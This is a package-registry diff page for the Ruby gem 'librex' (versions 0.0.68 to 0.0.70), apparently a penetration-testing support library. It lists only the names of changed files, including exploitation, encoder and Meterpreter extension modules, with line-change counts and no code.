librex 0.0.68 → 0.0.70

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (528) hide show
  1. checksums.yaml +15 -0
  2. data/README.markdown +1 -1
  3. data/Rakefile +18 -16
  4. data/lib/rex.rb +14 -10
  5. data/lib/rex/LICENSE +2 -2
  6. data/lib/rex/arch.rb +76 -76
  7. data/lib/rex/arch/sparc.rb +57 -58
  8. data/lib/rex/arch/x86.rb +506 -496
  9. data/lib/rex/assembly/nasm.rb +83 -84
  10. data/lib/rex/compat.rb +228 -173
  11. data/lib/rex/constants.rb +47 -37
  12. data/lib/rex/elfparsey.rb +0 -3
  13. data/lib/rex/elfparsey/elf.rb +107 -110
  14. data/lib/rex/elfparsey/elfbase.rb +244 -247
  15. data/lib/rex/elfparsey/exceptions.rb +0 -3
  16. data/lib/rex/elfscan.rb +0 -3
  17. data/lib/rex/elfscan/scanner.rb +184 -166
  18. data/lib/rex/elfscan/search.rb +35 -38
  19. data/lib/rex/encoder/alpha2.rb +1 -2
  20. data/lib/rex/encoder/alpha2/alpha_mixed.rb +52 -53
  21. data/lib/rex/encoder/alpha2/alpha_upper.rb +62 -63
  22. data/lib/rex/encoder/alpha2/generic.rb +77 -78
  23. data/lib/rex/encoder/alpha2/unicode_mixed.rb +101 -97
  24. data/lib/rex/encoder/alpha2/unicode_upper.rb +106 -107
  25. data/lib/rex/encoder/bloxor/bloxor.rb +326 -0
  26. data/lib/rex/encoder/ndr.rb +68 -68
  27. data/lib/rex/encoder/nonalpha.rb +50 -51
  28. data/lib/rex/encoder/nonupper.rb +50 -51
  29. data/lib/rex/encoder/xdr.rb +78 -78
  30. data/lib/rex/encoder/xor.rb +52 -53
  31. data/lib/rex/encoder/xor/dword.rb +1 -2
  32. data/lib/rex/encoder/xor/dword_additive.rb +1 -2
  33. data/lib/rex/encoders/xor_dword.rb +17 -18
  34. data/lib/rex/encoders/xor_dword_additive.rb +35 -36
  35. data/lib/rex/encoding/xor.rb +0 -1
  36. data/lib/rex/encoding/xor/byte.rb +3 -4
  37. data/lib/rex/encoding/xor/dword.rb +3 -4
  38. data/lib/rex/encoding/xor/dword_additive.rb +72 -73
  39. data/lib/rex/encoding/xor/exceptions.rb +2 -3
  40. data/lib/rex/encoding/xor/generic.rb +129 -130
  41. data/lib/rex/encoding/xor/qword.rb +3 -4
  42. data/lib/rex/encoding/xor/word.rb +3 -4
  43. data/lib/rex/exceptions.rb +100 -101
  44. data/lib/rex/exploitation/cmdstager.rb +3 -3
  45. data/lib/rex/exploitation/cmdstager/base.rb +170 -156
  46. data/lib/rex/exploitation/cmdstager/bourne.rb +105 -0
  47. data/lib/rex/exploitation/cmdstager/debug_asm.rb +110 -113
  48. data/lib/rex/exploitation/cmdstager/debug_write.rb +106 -109
  49. data/lib/rex/exploitation/cmdstager/echo.rb +164 -0
  50. data/lib/rex/exploitation/cmdstager/printf.rb +122 -0
  51. data/lib/rex/exploitation/cmdstager/tftp.rb +34 -27
  52. data/lib/rex/exploitation/cmdstager/vbs.rb +95 -98
  53. data/lib/rex/exploitation/egghunter.rb +359 -346
  54. data/lib/rex/exploitation/encryptjs.rb +60 -60
  55. data/lib/rex/exploitation/heaplib.rb +76 -76
  56. data/lib/rex/exploitation/js.rb +6 -0
  57. data/lib/rex/exploitation/js/detect.rb +69 -0
  58. data/lib/rex/exploitation/js/memory.rb +81 -0
  59. data/lib/rex/exploitation/js/network.rb +84 -0
  60. data/lib/rex/exploitation/js/utils.rb +33 -0
  61. data/lib/rex/exploitation/jsobfu.rb +448 -424
  62. data/lib/rex/exploitation/obfuscatejs.rb +301 -301
  63. data/lib/rex/exploitation/omelet.rb +257 -257
  64. data/lib/rex/exploitation/opcodedb.rb +699 -699
  65. data/lib/rex/exploitation/ropdb.rb +189 -0
  66. data/lib/rex/exploitation/seh.rb +68 -68
  67. data/lib/rex/file.rb +96 -49
  68. data/lib/rex/image_source.rb +0 -3
  69. data/lib/rex/image_source/disk.rb +45 -48
  70. data/lib/rex/image_source/image_source.rb +33 -36
  71. data/lib/rex/image_source/memory.rb +17 -20
  72. data/lib/rex/io/bidirectional_pipe.rb +118 -115
  73. data/lib/rex/io/datagram_abstraction.rb +13 -14
  74. data/lib/rex/io/ring_buffer.rb +273 -273
  75. data/lib/rex/io/stream.rb +284 -284
  76. data/lib/rex/io/stream_abstraction.rb +183 -181
  77. data/lib/rex/io/stream_server.rb +193 -193
  78. data/lib/rex/job_container.rb +167 -167
  79. data/lib/rex/logging.rb +0 -1
  80. data/lib/rex/logging/log_dispatcher.rb +113 -113
  81. data/lib/rex/logging/log_sink.rb +17 -17
  82. data/lib/rex/logging/sinks/flatfile.rb +36 -36
  83. data/lib/rex/logging/sinks/stderr.rb +27 -27
  84. data/lib/rex/mac_oui.rb +16572 -16571
  85. data/lib/rex/machparsey.rb +0 -1
  86. data/lib/rex/machparsey/exceptions.rb +0 -1
  87. data/lib/rex/machparsey/mach.rb +160 -161
  88. data/lib/rex/machparsey/machbase.rb +367 -368
  89. data/lib/rex/machscan.rb +0 -1
  90. data/lib/rex/machscan/scanner.rb +175 -176
  91. data/lib/rex/mime/encoding.rb +17 -0
  92. data/lib/rex/mime/header.rb +58 -58
  93. data/lib/rex/mime/message.rb +140 -137
  94. data/lib/rex/mime/part.rb +41 -12
  95. data/lib/rex/nop/opty2.rb +90 -90
  96. data/lib/rex/nop/opty2_tables.rb +273 -273
  97. data/lib/rex/ole.rb +0 -4
  98. data/lib/rex/ole/clsid.rb +26 -30
  99. data/lib/rex/ole/difat.rb +121 -125
  100. data/lib/rex/ole/directory.rb +205 -209
  101. data/lib/rex/ole/direntry.rb +217 -221
  102. data/lib/rex/ole/fat.rb +79 -83
  103. data/lib/rex/ole/header.rb +178 -182
  104. data/lib/rex/ole/minifat.rb +49 -53
  105. data/lib/rex/ole/propset.rb +113 -117
  106. data/lib/rex/ole/samples/create_ole.rb +8 -9
  107. data/lib/rex/ole/samples/dir.rb +10 -11
  108. data/lib/rex/ole/samples/dump_stream.rb +14 -15
  109. data/lib/rex/ole/samples/ole_info.rb +5 -6
  110. data/lib/rex/ole/storage.rb +372 -376
  111. data/lib/rex/ole/stream.rb +33 -37
  112. data/lib/rex/ole/substorage.rb +20 -24
  113. data/lib/rex/ole/util.rb +137 -141
  114. data/lib/rex/parser/acunetix_nokogiri.rb +398 -398
  115. data/lib/rex/parser/apple_backup_manifestdb.rb +116 -116
  116. data/lib/rex/parser/appscan_nokogiri.rb +359 -359
  117. data/lib/rex/parser/arguments.rb +88 -88
  118. data/lib/rex/parser/burp_session_nokogiri.rb +258 -258
  119. data/lib/rex/parser/ci_nokogiri.rb +184 -184
  120. data/lib/rex/parser/foundstone_nokogiri.rb +334 -333
  121. data/lib/rex/parser/fusionvm_nokogiri.rb +94 -94
  122. data/lib/rex/parser/ini.rb +167 -167
  123. data/lib/rex/parser/ip360_aspl_xml.rb +84 -84
  124. data/lib/rex/parser/ip360_xml.rb +77 -77
  125. data/lib/rex/parser/mbsa_nokogiri.rb +224 -224
  126. data/lib/rex/parser/nessus_xml.rb +100 -100
  127. data/lib/rex/parser/netsparker_xml.rb +89 -75
  128. data/lib/rex/parser/nexpose_raw_nokogiri.rb +677 -677
  129. data/lib/rex/parser/nexpose_simple_nokogiri.rb +322 -322
  130. data/lib/rex/parser/nexpose_xml.rb +105 -105
  131. data/lib/rex/parser/nmap_nokogiri.rb +386 -386
  132. data/lib/rex/parser/nmap_xml.rb +116 -116
  133. data/lib/rex/parser/nokogiri_doc_mixin.rb +223 -221
  134. data/lib/rex/parser/openvas_nokogiri.rb +162 -162
  135. data/lib/rex/parser/outpost24_nokogiri.rb +239 -0
  136. data/lib/rex/parser/retina_xml.rb +90 -90
  137. data/lib/rex/parser/unattend.rb +171 -0
  138. data/lib/rex/parser/wapiti_nokogiri.rb +89 -89
  139. data/lib/rex/payloads/win32/common.rb +14 -14
  140. data/lib/rex/payloads/win32/kernel.rb +36 -36
  141. data/lib/rex/payloads/win32/kernel/common.rb +32 -32
  142. data/lib/rex/payloads/win32/kernel/recovery.rb +27 -27
  143. data/lib/rex/payloads/win32/kernel/stager.rb +170 -170
  144. data/lib/rex/peparsey.rb +0 -3
  145. data/lib/rex/peparsey/exceptions.rb +0 -3
  146. data/lib/rex/peparsey/pe.rb +196 -199
  147. data/lib/rex/peparsey/pe_memdump.rb +35 -38
  148. data/lib/rex/peparsey/pebase.rb +1633 -1652
  149. data/lib/rex/peparsey/section.rb +115 -124
  150. data/lib/rex/pescan.rb +0 -3
  151. data/lib/rex/pescan/analyze.rb +351 -351
  152. data/lib/rex/pescan/scanner.rb +182 -182
  153. data/lib/rex/pescan/search.rb +59 -59
  154. data/lib/rex/platforms/windows.rb +37 -37
  155. data/lib/rex/poly.rb +111 -110
  156. data/lib/rex/poly/block.rb +419 -417
  157. data/lib/rex/poly/machine.rb +12 -0
  158. data/lib/rex/poly/machine/machine.rb +829 -0
  159. data/lib/rex/poly/machine/x86.rb +508 -0
  160. data/lib/rex/poly/register.rb +70 -70
  161. data/lib/rex/poly/register/x86.rb +22 -22
  162. data/lib/rex/post.rb +0 -1
  163. data/lib/rex/post/dir.rb +35 -36
  164. data/lib/rex/post/file.rb +140 -141
  165. data/lib/rex/post/file_stat.rb +198 -199
  166. data/lib/rex/post/io.rb +167 -168
  167. data/lib/rex/post/meterpreter.rb +1 -1
  168. data/lib/rex/post/meterpreter/channel.rb +389 -390
  169. data/lib/rex/post/meterpreter/channel_container.rb +33 -34
  170. data/lib/rex/post/meterpreter/channels/pool.rb +129 -130
  171. data/lib/rex/post/meterpreter/channels/pools/file.rb +35 -36
  172. data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +72 -73
  173. data/lib/rex/post/meterpreter/channels/stream.rb +62 -63
  174. data/lib/rex/post/meterpreter/client.rb +442 -436
  175. data/lib/rex/post/meterpreter/client_core.rb +326 -310
  176. data/lib/rex/post/meterpreter/dependencies.rb +0 -1
  177. data/lib/rex/post/meterpreter/extension.rb +12 -13
  178. data/lib/rex/post/meterpreter/extensions/espia/espia.rb +35 -36
  179. data/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +71 -0
  180. data/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +169 -0
  181. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +45 -0
  182. data/lib/rex/post/meterpreter/extensions/extapi/service/service.rb +104 -0
  183. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +77 -0
  184. data/lib/rex/post/meterpreter/extensions/extapi/window/window.rb +56 -0
  185. data/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +75 -0
  186. data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +70 -71
  187. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +361 -0
  188. data/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb +76 -0
  189. data/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb +78 -0
  190. data/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb +22 -78
  191. data/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb +49 -0
  192. data/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb +4 -4
  193. data/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +128 -0
  194. data/lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb +16 -0
  195. data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +38 -39
  196. data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +1 -1
  197. data/lib/rex/post/meterpreter/extensions/priv/fs.rb +95 -96
  198. data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +39 -40
  199. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +80 -85
  200. data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +94 -95
  201. data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +207 -147
  202. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +258 -259
  203. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +366 -301
  204. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +72 -73
  205. data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +24 -25
  206. data/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb +59 -0
  207. data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +227 -149
  208. data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +107 -108
  209. data/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb +97 -0
  210. data/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb +106 -0
  211. data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +41 -42
  212. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +102 -101
  213. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +151 -152
  214. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +142 -142
  215. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +185 -185
  216. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38118 -38117
  217. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +7 -7
  218. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +2086 -2084
  219. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_crypt32.rb +15 -15
  220. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +80 -80
  221. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3835 -3833
  222. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +84 -28
  223. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +151 -137
  224. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +15 -6
  225. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3155 -3155
  226. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb +41 -0
  227. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wlanapi.rb +70 -70
  228. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +128 -0
  229. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +596 -596
  230. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +310 -301
  231. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +71 -61
  232. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +100 -100
  233. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb +14 -14
  234. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb +488 -488
  235. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +273 -264
  236. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb +5 -5
  237. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +240 -238
  238. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +17 -15
  239. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +61 -61
  240. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +654 -635
  241. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +49 -49
  242. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +103 -102
  243. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +98 -68
  244. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +165 -166
  245. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +16 -17
  246. data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +34 -36
  247. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +363 -364
  248. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +102 -103
  249. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +28 -29
  250. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +303 -304
  251. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +113 -114
  252. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +260 -261
  253. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +165 -166
  254. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +69 -70
  255. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +160 -161
  256. data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +143 -144
  257. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +29 -12
  258. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +230 -231
  259. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +181 -44
  260. data/lib/rex/post/meterpreter/inbound_packet_handler.rb +12 -13
  261. data/lib/rex/post/meterpreter/object_aliases.rb +56 -57
  262. data/lib/rex/post/meterpreter/packet.rb +591 -592
  263. data/lib/rex/post/meterpreter/packet_dispatcher.rb +506 -496
  264. data/lib/rex/post/meterpreter/packet_parser.rb +72 -73
  265. data/lib/rex/post/meterpreter/packet_response_waiter.rb +56 -57
  266. data/lib/rex/post/meterpreter/ui/console.rb +112 -112
  267. data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +53 -53
  268. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +911 -854
  269. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +86 -86
  270. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +65 -0
  271. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +198 -0
  272. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +444 -0
  273. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +199 -0
  274. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb +118 -0
  275. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb +108 -0
  276. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +220 -220
  277. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +509 -0
  278. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb +60 -0
  279. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +254 -0
  280. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb +159 -0
  281. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +182 -0
  282. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +173 -173
  283. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +40 -40
  284. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +75 -77
  285. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +30 -30
  286. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +105 -105
  287. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +182 -182
  288. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +37 -37
  289. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +504 -482
  290. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +401 -330
  291. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +883 -581
  292. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +296 -299
  293. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +320 -153
  294. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +78 -78
  295. data/lib/rex/post/permission.rb +0 -1
  296. data/lib/rex/post/process.rb +39 -40
  297. data/lib/rex/post/thread.rb +41 -42
  298. data/lib/rex/post/ui.rb +35 -36
  299. data/lib/rex/proto/addp.rb +218 -0
  300. data/lib/rex/proto/dcerpc/client.rb +344 -344
  301. data/lib/rex/proto/dcerpc/exceptions.rb +128 -128
  302. data/lib/rex/proto/dcerpc/handle.rb +32 -32
  303. data/lib/rex/proto/dcerpc/ndr.rb +56 -56
  304. data/lib/rex/proto/dcerpc/packet.rb +249 -245
  305. data/lib/rex/proto/dcerpc/response.rb +170 -170
  306. data/lib/rex/proto/dcerpc/uuid.rb +65 -65
  307. data/lib/rex/proto/dcerpc/wdscp.rb +3 -0
  308. data/lib/rex/proto/dcerpc/wdscp/constants.rb +89 -0
  309. data/lib/rex/proto/dcerpc/wdscp/packet.rb +94 -0
  310. data/lib/rex/proto/dhcp.rb +0 -1
  311. data/lib/rex/proto/dhcp/constants.rb +0 -1
  312. data/lib/rex/proto/dhcp/server.rb +303 -304
  313. data/lib/rex/proto/drda/constants.rb +1 -1
  314. data/lib/rex/proto/drda/packet.rb +186 -186
  315. data/lib/rex/proto/drda/utils.rb +104 -104
  316. data/lib/rex/proto/http.rb +1 -0
  317. data/lib/rex/proto/http/client.rb +692 -820
  318. data/lib/rex/proto/http/client_request.rb +472 -0
  319. data/lib/rex/proto/http/handler.rb +25 -25
  320. data/lib/rex/proto/http/handler/erb.rb +104 -104
  321. data/lib/rex/proto/http/handler/proc.rb +37 -37
  322. data/lib/rex/proto/http/header.rb +149 -149
  323. data/lib/rex/proto/http/packet.rb +388 -382
  324. data/lib/rex/proto/http/request.rb +332 -335
  325. data/lib/rex/proto/http/response.rb +132 -72
  326. data/lib/rex/proto/http/server.rb +348 -338
  327. data/lib/rex/proto/iax2/call.rb +310 -310
  328. data/lib/rex/proto/iax2/client.rb +197 -197
  329. data/lib/rex/proto/iax2/codecs/alaw.rb +4 -4
  330. data/lib/rex/proto/iax2/codecs/mulaw.rb +4 -4
  331. data/lib/rex/proto/ipmi.rb +57 -0
  332. data/lib/rex/proto/ipmi/channel_auth_reply.rb +88 -0
  333. data/lib/rex/proto/ipmi/open_session_reply.rb +35 -0
  334. data/lib/rex/proto/ipmi/rakp2.rb +35 -0
  335. data/lib/rex/proto/ipmi/utils.rb +125 -0
  336. data/lib/rex/proto/natpmp.rb +1 -5
  337. data/lib/rex/proto/natpmp/constants.rb +4 -4
  338. data/lib/rex/proto/natpmp/packet.rb +25 -25
  339. data/lib/rex/proto/ntlm/base.rb +271 -271
  340. data/lib/rex/proto/ntlm/constants.rb +61 -61
  341. data/lib/rex/proto/ntlm/crypt.rb +348 -352
  342. data/lib/rex/proto/ntlm/exceptions.rb +3 -3
  343. data/lib/rex/proto/ntlm/message.rb +468 -471
  344. data/lib/rex/proto/ntlm/utils.rb +746 -746
  345. data/lib/rex/proto/pjl.rb +30 -0
  346. data/lib/rex/proto/pjl/client.rb +162 -0
  347. data/lib/rex/proto/proxy/socks4a.rb +440 -440
  348. data/lib/rex/proto/rfb.rb +1 -8
  349. data/lib/rex/proto/rfb/cipher.rb +46 -49
  350. data/lib/rex/proto/rfb/client.rb +179 -182
  351. data/lib/rex/proto/rfb/constants.rb +18 -21
  352. data/lib/rex/proto/smb/client.rb +1954 -1843
  353. data/lib/rex/proto/smb/constants.rb +533 -516
  354. data/lib/rex/proto/smb/crypt.rb +21 -21
  355. data/lib/rex/proto/smb/evasions.rb +43 -43
  356. data/lib/rex/proto/smb/exceptions.rb +791 -791
  357. data/lib/rex/proto/smb/simpleclient.rb +142 -286
  358. data/lib/rex/proto/smb/simpleclient/open_file.rb +106 -0
  359. data/lib/rex/proto/smb/simpleclient/open_pipe.rb +57 -0
  360. data/lib/rex/proto/smb/utils.rb +81 -81
  361. data/lib/rex/proto/sunrpc/client.rb +158 -158
  362. data/lib/rex/proto/tftp.rb +0 -1
  363. data/lib/rex/proto/tftp/client.rb +289 -289
  364. data/lib/rex/proto/tftp/constants.rb +9 -10
  365. data/lib/rex/proto/tftp/server.rb +466 -467
  366. data/lib/rex/random_identifier_generator.rb +176 -0
  367. data/lib/rex/registry.rb +1 -1
  368. data/lib/rex/registry/hive.rb +88 -88
  369. data/lib/rex/registry/lfkey.rb +25 -25
  370. data/lib/rex/registry/nodekey.rb +30 -30
  371. data/lib/rex/registry/regf.rb +10 -10
  372. data/lib/rex/registry/valuekey.rb +43 -43
  373. data/lib/rex/registry/valuelist.rb +13 -13
  374. data/lib/rex/ropbuilder/rop.rb +254 -253
  375. data/lib/rex/script.rb +21 -22
  376. data/lib/rex/script/base.rb +51 -50
  377. data/lib/rex/script/meterpreter.rb +2 -2
  378. data/lib/rex/service.rb +24 -24
  379. data/lib/rex/service_manager.rb +132 -132
  380. data/lib/rex/services/local_relay.rb +398 -398
  381. data/lib/rex/socket.rb +758 -763
  382. data/lib/rex/socket/comm.rb +95 -95
  383. data/lib/rex/socket/comm/local.rb +507 -440
  384. data/lib/rex/socket/ip.rb +118 -118
  385. data/lib/rex/socket/parameters.rb +351 -350
  386. data/lib/rex/socket/range_walker.rb +445 -368
  387. data/lib/rex/socket/ssl_tcp.rb +323 -317
  388. data/lib/rex/socket/ssl_tcp_server.rb +173 -158
  389. data/lib/rex/socket/subnet_walker.rb +48 -48
  390. data/lib/rex/socket/switch_board.rb +259 -259
  391. data/lib/rex/socket/tcp.rb +58 -56
  392. data/lib/rex/socket/tcp_server.rb +42 -42
  393. data/lib/rex/socket/udp.rb +152 -152
  394. data/lib/rex/sslscan/result.rb +200 -0
  395. data/lib/rex/sslscan/scanner.rb +205 -0
  396. data/lib/rex/struct2.rb +0 -1
  397. data/lib/rex/struct2/c_struct.rb +162 -163
  398. data/lib/rex/struct2/c_struct_template.rb +21 -22
  399. data/lib/rex/struct2/constant.rb +6 -7
  400. data/lib/rex/struct2/element.rb +30 -31
  401. data/lib/rex/struct2/generic.rb +60 -61
  402. data/lib/rex/struct2/restraint.rb +40 -41
  403. data/lib/rex/struct2/s_string.rb +60 -61
  404. data/lib/rex/struct2/s_struct.rb +97 -98
  405. data/lib/rex/sync.rb +0 -1
  406. data/lib/rex/sync/event.rb +62 -72
  407. data/lib/rex/sync/read_write_lock.rb +149 -149
  408. data/lib/rex/sync/ref.rb +42 -42
  409. data/lib/rex/sync/thread_safe.rb +59 -59
  410. data/lib/rex/text.rb +1803 -1315
  411. data/lib/rex/thread_factory.rb +25 -25
  412. data/lib/rex/time.rb +44 -44
  413. data/lib/rex/transformer.rb +91 -91
  414. data/lib/rex/ui/interactive.rb +265 -265
  415. data/lib/rex/ui/output.rb +66 -60
  416. data/lib/rex/ui/progress_tracker.rb +79 -79
  417. data/lib/rex/ui/subscriber.rb +144 -134
  418. data/lib/rex/ui/text/color.rb +76 -76
  419. data/lib/rex/ui/text/dispatcher_shell.rb +512 -505
  420. data/lib/rex/ui/text/input.rb +96 -96
  421. data/lib/rex/ui/text/input/buffer.rb +58 -58
  422. data/lib/rex/ui/text/input/readline.rb +114 -114
  423. data/lib/rex/ui/text/input/socket.rb +77 -77
  424. data/lib/rex/ui/text/input/stdio.rb +24 -24
  425. data/lib/rex/ui/text/irb_shell.rb +45 -41
  426. data/lib/rex/ui/text/output.rb +64 -60
  427. data/lib/rex/ui/text/output/buffer.rb +42 -42
  428. data/lib/rex/ui/text/output/buffer/stdout.rb +25 -0
  429. data/lib/rex/ui/text/output/file.rb +24 -24
  430. data/lib/rex/ui/text/output/socket.rb +24 -24
  431. data/lib/rex/ui/text/output/stdio.rb +29 -29
  432. data/lib/rex/ui/text/output/tee.rb +36 -36
  433. data/lib/rex/ui/text/progress_tracker.rb +37 -37
  434. data/lib/rex/ui/text/shell.rb +371 -361
  435. data/lib/rex/ui/text/table.rb +320 -284
  436. data/lib/rex/zip.rb +0 -1
  437. data/lib/rex/zip/archive.rb +115 -94
  438. data/lib/rex/zip/blocks.rb +101 -100
  439. data/lib/rex/zip/entry.rb +108 -99
  440. data/lib/rex/zip/jar.rb +261 -206
  441. data/lib/rex/zip/samples/comment.rb +1 -2
  442. data/lib/rex/zip/samples/mkwar.rb +12 -13
  443. data/lib/rex/zip/samples/mkzip.rb +1 -2
  444. data/lib/rex/zip/samples/recursive.rb +29 -30
  445. metadata +424 -446
  446. data/lib/rex/arch/sparc.rb.ut.rb +0 -19
  447. data/lib/rex/arch/x86.rb.ut.rb +0 -94
  448. data/lib/rex/assembly/nasm.rb.ut.rb +0 -23
  449. data/lib/rex/encoder/ndr.rb.ut.rb +0 -45
  450. data/lib/rex/encoder/xdr.rb.ut.rb +0 -30
  451. data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +0 -13
  452. data/lib/rex/encoding/xor.rb.ts.rb +0 -15
  453. data/lib/rex/encoding/xor/byte.rb.ut.rb +0 -22
  454. data/lib/rex/encoding/xor/dword.rb.ut.rb +0 -16
  455. data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +0 -16
  456. data/lib/rex/encoding/xor/generic.rb.ut.rb +0 -121
  457. data/lib/rex/encoding/xor/word.rb.ut.rb +0 -14
  458. data/lib/rex/exceptions.rb.ut.rb +0 -45
  459. data/lib/rex/exploitation/egghunter.rb.ut.rb +0 -28
  460. data/lib/rex/exploitation/javascriptosdetect.js +0 -1014
  461. data/lib/rex/exploitation/javascriptosdetect.rb +0 -43
